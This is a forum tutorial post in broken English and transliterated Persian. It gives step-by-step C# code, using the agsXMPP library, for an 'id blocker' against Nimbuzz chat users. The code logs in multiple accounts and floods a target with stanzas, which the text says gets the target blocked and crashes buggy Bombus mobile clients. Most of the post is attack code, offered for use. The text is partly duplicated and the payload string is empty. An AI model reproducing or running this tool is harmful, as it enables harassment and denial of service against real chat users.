hello guys and muys
i wanna learn u to create an id blocker software tonight
and inha
tutorial:
add a form to ur project with from1 name
add 3 button to from1
{
rename bottons to
loginbtn
logoutbtn
startbtn
}
add 3 textbox to from1
{
rename textboxes to
ids
psw
target
}
add a listbox to form1
{
rename listbox to infolist
}
add a backgroundworker to ur project and rename to bg
add agsXMPP.dll to ur project
and in using section add bellow usings
now doublclick on form1 and paste below code to form1_load sub void
doubleclick on logoutbtn and paste this code
ro startbtn doubleclick k.o.n va coda zir ro paste k.o.n
kho hala bgdoworker
har id ke login shode 40 bar un xml str ro send mikone va target response mikhad az unjai ke nim juri shode ke har id tedade ziadi code tu ye zaman send kone ro block mikone va bombusmod ham ke bug dare fek mikone un code vagheie va behesh response mide va be ehemse fana mire
albate faghat 90 % bombusmoda 10 % az in ghazie masun hastan va block nemishan az jomle bombotmod
faghat ye function repars munde ke unam ine
ghablan sakhtamesh va test shode javab dade
fohshash be man rabti nadare ha
bye guys and muys guy tu baluchi manie besyar jalebi dare
i wanna learn u to create an id blocker software tonight
and inha
tutorial:
add a form to ur project with from1 name
add 3 button to from1
{
rename bottons to
loginbtn
logoutbtn
startbtn
}
add 3 textbox to from1
{
rename textboxes to
ids
psw
target
}
add a listbox to form1
{
rename listbox to infolist
}
add a backgroundworker to ur project and rename to bg
add agsXMPP.dll to ur project
and in using section add bellow usings
- Code:
using agsXMPP;
using System.Collections.ObjectModel;
- Code:
XmppClientConnection x = new XmppClientConnection();
Collection collSockets = new Collection();
now doublclick on form1 and paste below code to form1_load sub void
- Code:
CheckForIllegalCrossThreadCalls = false;
- Code:
try
{
string[] a = null;
a = ids.Text.Split('#');
for (int i = 0; i <= a.GetUpperBound(0); i )
{
collSockets.Add(x);
collSockets[i] = new XmppClientConnection { Server = "nimbuzz.com", ConnectServer = "o.nimbuzz.com" };
if(collSockets[i].XmppConnectionState == XmppConnectionState.Disconnected)
collSockets[i].Open(a[i], psw.Text, "๑۩۞۩๑๑۩۞۩๑ƒŔĔĔ=><=ßÚŹŹ๑۩۞۩๑๑۩۞۩๑", 50);
collSockets[i].OnLogin = log1;
collSockets[i].OnAuthError = log2;
}
}
catch (Exception ex) { }
- Code:
private void log1(object sender)
{
infolist.Items.Add(((XmppClientConnection)sender).MyJID.User.ToString() " connected");
}
private void log2(object sender, agsXMPP.Xml.Dom.Element e)
{
infolist.Items.Add(((XmppClientConnection)sender).MyJID.User.ToString() " Failed");
}
doubleclick on logoutbtn and paste this code
- Code:
for (int b = 0; b < collSockets.Count; b )
{
if (collSockets[b] != null)
collSockets[b].Close();
}
ro startbtn doubleclick k.o.n va coda zir ro paste k.o.n
- Code:
if (!bg.IsBusy)
bg.RunWorkerAsync();
}
kho hala bgdoworker
- Code:
private void bg_DoWork(object sender, System.ComponentModel.DoWorkEventArgs e)
{
try
{
string str = "";
for (int i = 0; i <= 40; i )
{
for (int f = 0; f < collSockets.Count; f )
{
collSockets[f].Send(str);
}
}
}
catch (Exception ex) { }
}
har id ke login shode 40 bar un xml str ro send mikone va target response mikhad az unjai ke nim juri shode ke har id tedade ziadi code tu ye zaman send kone ro block mikone va bombusmod ham ke bug dare fek mikone un code vagheie va behesh response mide va be ehemse fana mire
albate faghat 90 % bombusmoda 10 % az in ghazie masun hastan va block nemishan az jomle bombotmod
faghat ye function repars munde ke unam ine
- Code:
public string repars(string str)
{
string s = string.Empty;
s = str.Replace("&", "&");
s = s.Replace(""", """);
s = s.Replace("<", "<");
s = s.Replace(">", ">");
s = s.Replace("'", "'");
return s;
}
ghablan sakhtamesh va test shode javab dade
fohshash be man rabti nadare ha
bye guys and muys guy tu baluchi manie besyar jalebi dare